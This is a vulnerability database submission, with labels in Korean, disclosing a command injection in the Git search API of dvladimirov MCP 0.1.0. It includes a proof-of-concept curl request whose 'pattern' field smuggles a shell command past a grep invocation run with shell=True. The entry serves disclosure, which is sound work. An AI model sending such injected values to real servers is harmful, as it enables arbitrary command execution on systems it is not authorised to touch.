| 제목 | dvladimirov mcp 0.1.0 Command Injection |
|---|
| 설명 | The Git search API accepts a caller-controlled pattern string and passes it into a shell command built with Python f-string interpolation. Because the command is executed with shell=True, shell metacharacters in pattern break out of the intended grep invocation and execute arbitrary host commands.
curl -s -X POST 'http://HOST:PORT/v1/models/git-analyzer/search' \
-H 'Content-Type: application/json' \
-d '{
"repo_url": "https://github.com/octocat/Hello-World.git",
"pattern": "\"; touch /tmp/dvladimirov_mcp_cmdi; #"
}' |
|---|
| 원천 | ⚠️ https://github.com/dvladimirov/MCP/issues/2 |
|---|
| 사용자 | SmallW (UID 97245) |
|---|
| 제출 | 2026. 04. 10. PM 02:57 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 04. 27. PM 05:01 (17 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 359807 [dvladimirov MCP 까지 0.1.0 Git Search API mcp_server.py GitSearchRequest repo_url/pattern 권한 상승] |
|---|
| 포인트들 | 20 |
|---|